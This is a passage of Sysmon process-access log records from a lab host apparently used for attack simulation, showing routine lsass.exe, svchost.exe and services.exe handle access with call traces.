11:49:40.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":861,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 